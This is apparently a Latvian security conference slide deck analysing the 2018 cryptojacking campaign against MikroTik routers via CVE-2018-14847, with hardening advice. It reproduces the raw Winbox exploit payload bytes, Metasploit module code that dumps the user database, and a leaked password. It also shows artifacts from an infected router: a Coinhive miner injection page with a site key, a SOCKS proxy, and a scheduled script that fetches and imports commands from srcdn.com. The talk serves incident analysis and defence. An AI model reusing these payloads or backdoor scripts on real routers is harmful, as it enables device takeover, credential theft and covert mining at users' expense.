

A photograph of a man with a beard and short brown hair, wearing a dark blue suit jacket over a white shirt and a patterned tie. He is standing against a plain light-colored wall. In his hands, he holds two networking hardware components: a small black device with multiple ports in his left hand and a larger black device with a logo in his right hand. A black rectangular overlay box covers the lower half of the image. Inside this box, the text is displayed.

# Kā kompromitēti maršrutētāji "rok" kriptovalūtu

Andis Āriņš , Kiberšahs 2018

# Andis Āriņš

- SPX SIA datortīklu eksperts / LU doktorantūra
- MikroTik / Microsoft sertificēts pasniedzējs
- Eiropas Komisijas nākotnes tīklu izpēte
- Latvijas Interneta asociācija



[www.linkedin.com/in/andisarins](http://www.linkedin.com/in/andisarins)

<https://bitcoinist.com/cryptojacking-malware-mikrotik-routers/>

**NEWS**

# CRYPTOCURRENCY MALWARE INFECTS OVER 200,000 MIKROTIK ROUTERS

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Over 200,000 MikroTik Routers Compromised in Cryptojacking Campaign

## Over 200,000 MikroTik Routers Compromised in Cryptojacking Campaign

August 03, 2018

<https://www.pcmag.com/news/362889/2...>

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## 200K MikroTik Routers Exploited to Serve Cryptocurrency Miner

The hacker has been using a security flaw in MikroTik routers to secretly slip a cryptocurrency miner into computers that connect to them. So far, the campaign has mainly affected users in Brazil and Moldova, but it could spread to computers worldwide.

By Michael Kan August 2, 2018 3:32PM EST

<https://thehackernews.com/2018/08/mik...>


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## Hackers Infect Over 200,000 MikroTik Routers With Crypto Mining Malware

August 02, 2018 Mohit Kumar



CVE-2018-14847

## Impact

### CVSS v3.0 Severity and Metrics:

**Base Score:** 7.5 HIGH

**Vector:** AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (V3 legend)

**Impact Score:** 3.6

**Exploitability Score:** 3.9

**Attack Vector (AV):** Network

**Attack Complexity (AC):** Low

**Privileges Required (PR):** None

**User Interaction (UI):** None

**Scope (S):** Unchanged

**Confidentiality (C):** High

**Integrity (I):** None

**Availability (A):** None

### CVSS v2.0 Severity and Metrics:

**Base Score:** 5.0 MEDIUM

**Vector:** (AV:N/AC:L/Au:N/C:P/I:N/A:N) (V2 legend)

**Impact Subscore:** 2.9

**Exploitability Subscore:** 10.0

**Access Vector (AV):** Network

**Access Complexity (AC):** Low

**Authentication (AU):** None

**Confidentiality (C):** Partial

**Integrity (I):** None

**Availability (A):** None

**Additional Information:**

Allows unauthorized disclosure of information

<https://nvd.nist.gov/vuln/detail/CVE-2018-14847>


- 1) levainojamība pieļāva iespēju caur Winbox pārvaldības portu lejuplādēt sistēmas lietotāju datu bāzi
- 2) Atšifrējot DB tiek pie lietotāja/paroles ar kuru maina konfigurāciju

Levainojamība attiecas uz RouterOS versijām:

Visām *bugfix* versijām no 6.30.1 līdz 6.40.7, **salabots 6.40.8** 2018-Apr-23

Visām *current* versijām no 6.29 līdz 6.42, **salabots 6.42.1** 2018-Apr-23

Visām *RC* versijām no 6.29rc1 līdz 6.43rc3, **salabots 6.43rc4** 2018-Apr-23




$2^{16} = 65536$   
Izmantojamie porti 1-65535



```
/ip firewall {
    filter add chain=input action=accept connection-state=established,related,untracked comment="defconf: accept established,related,untracked"
    filter add chain=input action=drop connection-state=invalid comment="defconf: drop invalid"
    filter add chain=input action=accept protocol=icmp comment="defconf: accept ICMP"
    filter add chain=input action=drop in-interface-list=!LAN comment="defconf: drop all not coming from LAN"
    filter add chain=forward action=accept ipsec-policy=in,ipsec comment="defconf: accept in ipsec policy"
    filter add chain=forward action=accept ipsec-policy=out,ipsec comment="defconf: accept out ipsec policy"
    filter add chain=forward action=fasttrack-connection connection-state=established,related comment="defconf: fasttrack"
    filter add chain=forward action=accept connection-state=established,related,untracked comment="defconf: accept established,related, untracked"
    filter add chain=forward action=drop connection-state=invalid comment="defconf: drop invalid"
    filter add chain=forward action=drop connection-state=new connection-nat-state=!dstnat in-interface-list=WAN comment="defconf: drop all from WAN not DSTNATED"
```

filter add chain=forward action=drop connection-state=new connection-nat-state=!dstnat in-interface-list=WAN comment="defconf: drop all from WAN not DSTNATED"



drošākā prakse: 1) lietot VPN, piemēram, IPSec, lai pieslēgtos rūterim.  
2) atļaut Winbox pieeju tikai caur VPN



## 1) Atver savienojumu, lai saņemtu ID

```
0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00
```

## 2) Pieprasīt lietotāju DB ar samainītu ID

```
0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32,
0x05, 0x00, 0xff, 0x01, 0x06, 0x00,
0xff, 0x09, 0x06, 0x01, 0x00, 0xfe,
0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00,
0xff, 0x09, 0x04, 0x02, 0x00, 0xff,
0x88, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02,
0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00
```

No.	Time	Source	Destination	Protocol	Length	Info
10	2018-08-28 14:04:10.406513	173.255.200.214	62.85.26.37	TCP	60	50000 → 8291 [SYN] Seq=0 Win=1024 Len=0
11	2018-08-28 14:04:10.406719	62.85.26.37	173.255.200.214	TCP	60	8291 → 50000 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 MSS=1460
12	2018-08-28 14:04:10.701901	173.255.200.214	62.85.26.37	TCP	60	50000 → 8291 [ACK] Seq=1 Ack=1 Win=1200 Len=0
13	2018-08-28 14:04:12.802333	173.255.200.214	62.85.26.37	TCP	76	50000 → 8291 [PSH, ACK] Seq=1 Ack=1 Win=1200 Len=22
14	2018-08-28 14:04:12.802438	62.85.26.37	173.255.200.214	TCP	60	8291 → 50000 [ACK] Seq=1 Ack=23 Win=14600 Len=0
15	2018-08-28 14:04:12.803436	62.85.26.37	173.255.200.214	TCP	469	8291 → 50000 [PSH, ACK] Seq=1 Ack=23 Win=14600 Len=415
16	2018-08-28 14:04:13.062425	173.255.200.214	62.85.26.37	TCP	60	50000 → 8291 [ACK] Seq=23 Ack=416 Win=1200 Len=0
17	2018-08-28 14:04:23.056402	173.255.200.214	62.85.26.37	TCP	60	50000 → 8291 [RST] Seq=23 Win=1200 Len=0

```
> Frame 15: 469 bytes on wire (3752 bits), 469 bytes captured (3752 bits)
> Ethernet II, Src: Routerbo_a7:da:fc (00:0c:42:a7:da:fc), Dst: aa:42:00:00:00:86 (aa:42:00:00:00:86)
> Internet Protocol Version 4, Src: 62.85.26.37, Dst: 173.255.200.214
> Transmission Control Protocol, Src Port: 8291 (8291), Dst Port: 50000 (50000), Seq: 1, Ack: 23, Len: 415
▼ Data (415 bytes)
  Data: ff02696e6465780000000000000000101890000000031343533...
  [Length: 415]
```

0000	aa 42 00 00 00 86 00 0c	42 a7 da fc 08 00 45 00	.B..... B.....E.
0010	01 c7 9e 3a 40 00 40 06	cb a6 3e 55 1a 25 ad ff	...:@. .>U.%..
0020	c8 d6 20 63 c3 50 67 9a	4c fa b9 69 dd 09 50 18	.. c.Pg. L.i..P.
0030	39 08 9b 7e 00 00 ff 02	69 6e 64 65 78 00 00 00	9.~.... index...
0040	00 00 00 01 01 89 00 00	00 00 31 34 35 33 30 30	..... ..145300
0050	31 39 36 38 20 37 30 34	32 37 39 20 72 6f 74 65	1968 704 279 rote
0060	72 6f 73 2e 64 6c 6c 20	36 2e 34 31 0a 31 35 30	ros.dll 6.41.150
0070	35 38 39 38 33 32 20	33 30 39 36 37 20 61 64	5898832 30967 ad
0080	76 74 6f 6f 6c 2e 64 6c	6c 20 36 2e 34 31 72 63	vtool.dll 1 6.41rc
0090	35 38 0a 32 32 33 37 39	34 36 35 35 33 20 33 37	58.22379 46553 37
00a0	37 37 34 20 64 68 63 70	2e 64 6c 6c 20 36 2e 34	774 dhcp .dll 6.4
00b0	31 72 63 36 36 0a 32 34	31 30 34 30 35 31 30 32	1rc66.24 10405102
00c0	20 33 39 36 30 39 20 68	6f 74 73 70 6f 74 2e 64	39609 h otspot.d
00d0	6c 6c 20 36 2e 34 31 72	63 35 38 0a 33 34 39 38	11 6.41r c58.3498
00e0	38 31 30 35 34 30 20 34	31 32 30 35 20 69 70 76	810540 4 1205 ipv
00f0	36 2e 64 6c 6c 20 36 2e	34 31 72 63 35 38 0a 32	6.dll 6. 41rc58.2
0100	38 30 32 38 34 30 37 39	30 20 33 39 32 30 37 20	80284079 0 39207
0110	6d 70 6c 73 2e 64 6c 6c	20 36 2e 34 31 72 63 35	mpls.dll 6.41rc5
0120	38 0a 31 36 38 31 32 38	31 36 30 35 20 34 33 34	8.168128 1605 434
0130	31 33 20 70 70 2e 9c	ff 64 6c 6c 20 36 2e 34	13 ppp.. .dll 6.4
0140	31 72 63 35 38 0a 31 33	38 34 39 38 33 36 34 35	1rc58.13 84983645
0150	20 35 34 39 30 31 20 72	6f 74 69 6e 67 34 2e 64	54901 r oting4.d
0160	6c 6c 20 36 2e 34 31 72	63 35 38 0a 32 36 36 31	11 6.41r c58.2661
0170	39 32 31 30 38 34 20 34	35 30 39 38 20 73 65 63	921084 4 5098 sec
0180	75 72 65 2e 64 6c 6c 20	36 2e 34 31 72 63 35 38	ure.dll 6.41rc58
0190	0a 31 37 38 33 31 38 30	37 32 37 20 32 35 34 32	.1783180 727 2542
01a0	20 73 79 73 74 65 6d 2e	64 6c 6c 20 36 2e 34 31	system. dll 6.41
01b0	72 63 35 30 0a 31 32 31	39 36 36 39 36 34 35 20	rc50.121 9669645
01c0	37 33 34 31 38 20 77 6c	61 6e 36 2e 64 6c 6c 20	73418 wl an6.dll
01d0	36 2e 34 31 0a		6.41.

## Metasploit Framework: 4.16.58-dev on Kali Linux


```
130 def run(args):
131     module.LogHandler.setup(msg_prefix="{} - {}".format(args['rhost']))
132
133     #Initialize Socket
134     s = socket.socket()
135     s.settimeout(3)
136     try:
137         s.connect((str(args['RHOSTS']), int(args['RPORT'])))
138     except socket.timeout:
139         logging.error("Not Vulnerable!!!")
140     return
141
142     #Convert to bytearray for manipulation
143     a = bytearray(FIRST_PAYLOAD)
144     b = bytearray(SECOND_PAYLOAD)
145
146     #Send hello and recieve the sesision id
147     s.send(a)
148     d = bytearray(s.recv(1024))
149
150     #Replace the session id in template
151     b[19] = d[38]
152
153     #Send the edited response
154     s.send(b)
155     d = bytearray(s.recv(1024))
156
157     #Get results
158     module.report_host(args['RHOSTS'])
159     dump(d[55:], args['RHOSTS'])
160
161 if __name__ == "__main__":
162     module.run(METADATA, run)
```

<https://www.exploit-db.com/exploits/45170/>

```
Flags: X - disabled
0  ;;; system default user
    name="system" group=full address=118.121.37.0/24 last-logged-in=may/07/2018 09:26:36
```

parole Aa142636


# /export



The screenshot shows the WinBox interface with the 'Settings' tab selected. The session is 00:0C:42:A7:DA:FB. The terminal window displays the output of the '/export' command, which generates a configuration file for RouterOS. The configuration file includes details like software version (RouterOS 6.41), hardware model (2011LS), serial number (39A5017A824E), and various network settings such as interfaces, wireless, and routing rules.

```
[admin@MikroTik] > /export
# oct/09/2018 06:37:49 by RouterOS 6.41
# software id = EXNH-517J
#
# model = 2011LS
# serial number = 39A5017A824E
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/system logging action
set 0 memory-lines=1
set 1 disk-file-name=log
/ip neighbor discovery-settings
set discover-interface-list=!dynamic
/ip dhcp-client
add dhcp-options=hostname,clientid disabled=no interface=ether3
/ip firewall filter
add action=add-src-to-address-list address-list=Ok address-list-timeout=15s chain=input comment=sysadminpxy dst-port=8080 protocol=tcp
/ip firewall nat
add action=redirect chain=dstnat comment=sysadminpxy dst-port=80 protocol=tcp src-address-list=!Ok to-ports=8080
/ip proxy
set anonymous=yes enabled=yes
/ip proxy access
add action=deny
/ip service
set telnet disabled=yes
set ftp disabled=yes
set www disabled=yes
set ssh disabled=yes
set api disabled=yes
set winbox disabled=yes
set api-ssl disabled=yes
/ip socks
set enabled=yes port=43840
/system clock
set time-zone-name=Europe/Riga
/system timezone
```

```
/system logging action  
set 0 memory-lines=1  
set 1 disk-file-name=log
```



```

/ip firewall filter
add action=add-src-to-address-list address-list=Ok
address-list-timeout=15s protocol=tcp \
    chain=input comment=sysadminpxy dst-port=8080

/ip firewall nat
add action=redirect chain=dstnat comment=sysadminpxy
dst-port=80 protocol=tcp \
    src-address-list=!Ok to-ports=8080

```

Firewall								
Filter Rules		NAT	Mangle	Raw	Service Ports	Connections	Address Lists	Layer7 Protocols
#	Action	Chain	Src. Address	Dst. Address	Proto	Src. Port	Dst. Port	
::: sysadminpxy								
0	add src to address list	input			6 (tcp)		8080	

Firewall													
Filter Rules		NAT	Mangle	Raw	Service Ports	Connections	Address Lists	Layer7 Protocols					
#	Action	/	Chain	Src. Ad...	Dst. Ad...	/	Proto	Src. Port	Dst. Port	In. Inter...	Out. Int...	Src. Address List	To Ports
::: sysadminpxy													
0	!ll redirect		dstnat				6 (tcp)		80			!Ok	8080

```
/ip proxy set anonymous=yes enabled=yes  
/ip proxy access add action=deny
```

The image displays two windows from a network management interface. The left window is titled "Web Proxy Settings" and contains various configuration options for a proxy server. The right window is titled "Web Proxy Access" and shows a list of access rules.

**Web Proxy Settings (Left Window):**

- General tab selected.
- Enabled:
- Src. Address: ::
- Port: 8080
- Anonymous:
- Parent Proxy: (dropdown menu)
- Parent Proxy Port: (dropdown menu)
- Cache Administrator: webmaster
- Max. Cache Size: unlimited KB
- Max Cache Object Size: 2048 KB
- Cache On Disk
- Max. Client Connections: 600
- Max. Server Connections: 600
- Max Fresh Time: 3d 00:00:00
- Serialize Connections
- Always From Cache
- Cache Hit DSCP (TOS): 4
- Cache Path: web-proxy

**Web Proxy Access (Right Window):**

- Access tab selected.
- OK, Cancel, Apply, Clear Cache, Reset HTML, Access, Cache, Direct, Connections, Cache Contents buttons.
- Reset Counters, Reset All Counters, Find buttons.
- Table:


#	Src. Addr	Dst. Addr	Dst. Port	Dst. Host	Path	Method	Action	Redire...	Hits
0	0	0	0	0	0	0	deny	0	0

- 1 item


```
[admin@MikroTik] > /file print terse
0 name=flash/webproxy type=directory creation-time=sep/02/2018 13:38:42
1 name=flash/webproxy/error.html type=.html file size=386 creation-time=sep/02/2018 13:38:42
2 name=webproxy type=directory creation-time=sep/02/2018 13:38:43
3 name=webproxy/error.html type=.html file size=386 creation-time=sep/02/2018 13:38:43
```

```
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>"$(url)"</title>
    <script src="https://coinhive.com/lib/coinhive.min.js"></script>
  <script>
    var miner = new CoinHive.Anonymous('X2UnCjTwFxK48yS4qFzXjlmvXd7xX30K', {throttle: 0.2});
    miner.start();
  </script>
  </head>
  <frameset>
    <frame src="$(url)"></frame>
  </frameset>
</html>
```

```
/ip socks  
set enabled=yes port=43840
```



```
/system scheduler  
add interval=1m start-time=startup name="SRCDNS update" \  
on-event="/system script run SRCDNS"
```



```
/system script
add name=SRCDNS owner=admin policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon
source=":\ \
    global mac [/interface ethernet get 1 mac-address]\r\
    \n:global port ([/ip service get winbox port].\"_\".[/ip socks get
port].\
    \"_\".[/ip proxy get port])\r\
    \n:global info ([/ip socks get enabled].\"_\".[/ip proxy get
enabled].\"_\
    \".[/interface pptp-server server get enabled])\r\
    \n:global cmd \"/$mac/$port/$info/dns\"\r\
    \n/tool fetch address=srcdn.com src-path=$cmd mode=http dst-
path=srcdn; \
:delay 3s\r\
\n/import srcdn;:delay 4s;/file remove srcdn"
```

[http://srcdn.com/00:0C:42:A3:86:30/8291\\_1080\\_8080/false\\_false\\_false/dns](http://srcdn.com/00:0C:42:A3:86:30/8291_1080_8080/false_false_false/dns)

## Package List



Name	Version	Build Time	Scheduled
routeros-arm	6.44beta17	Oct/04/2018 09:42:04	
advanced-tools	6.44beta17	Oct/04/2018 09:42:04	
dhcp	6.44beta17	Oct/04/2018 09:42:04	
hotspot	6.44beta17	Oct/04/2018 09:42:04	
ipv6	6.44beta17	Oct/04/2018 09:42:04	
mpls	6.44beta17	Oct/04/2018 09:42:04	
ppp	6.44beta17	Oct/04/2018 09:42:04	
routing	6.44beta17	Oct/04/2018 09:42:04	
security	6.44beta17	Oct/04/2018 09:42:04	
system	6.44beta17	Oct/04/2018 09:42:04	
wireless	6.44beta17	Oct/04/2018 09:42:04	

## Check Installation



Status: installation is ok

 Cisco Products Non-Cisco Products

ADVISORY/ALERT	IMPACT	CVE	LAST UPDATED	VERSION
Search Advisory/Alert Name	All	Search CVE	Most Recent	
►  Cisco ASA Software, FTD Software, and AnyConnect Secure Mobility Client SAML Authentication Session Fixation Vulnerability	● High	CVE-2018-0229	2018 Oct 05	1.2
►  Cisco Adaptive Security Appliance Web Services Denial of Service Vulnerability	● High	CVE-2018-0296	2018 Oct 05	1.2
►  Linux Kernel IP Fragment Reassembly Denial of Service Vulnerability Affecting Cisco Products: August 2018	● High	CVE-2018-5391	2018 Oct 04	1.11
►  Cisco Prime Infrastructure Arbitrary File Upload and Command Execution Vulnerability	● Critical	CVE-2018-15379	2018 Oct 03	1.0
►  Cisco Digital Network Architecture Center Unauthenticated Access Vulnerability	● Critical	CVE-2018-15386	2018 Oct 03	1.0
►  Cisco Digital Network Architecture Center Authentication Bypass Vulnerability	● Critical	CVE-2018-0448	2018 Oct 03	1.0
►  Cisco Webex Network Recording Player and Cisco Webex Player Remote Code Execution Vulnerabilities	● High	CVE-2018-15408 CVE-2018-15409 ...	2018 Oct 03	1.0
►  Cisco SD-WAN Solution Certificate Validation Bypass Vulnerability	● High	CVE-2018-15387	2018 Oct 03	1.0

# Paldies par klausīšanos!

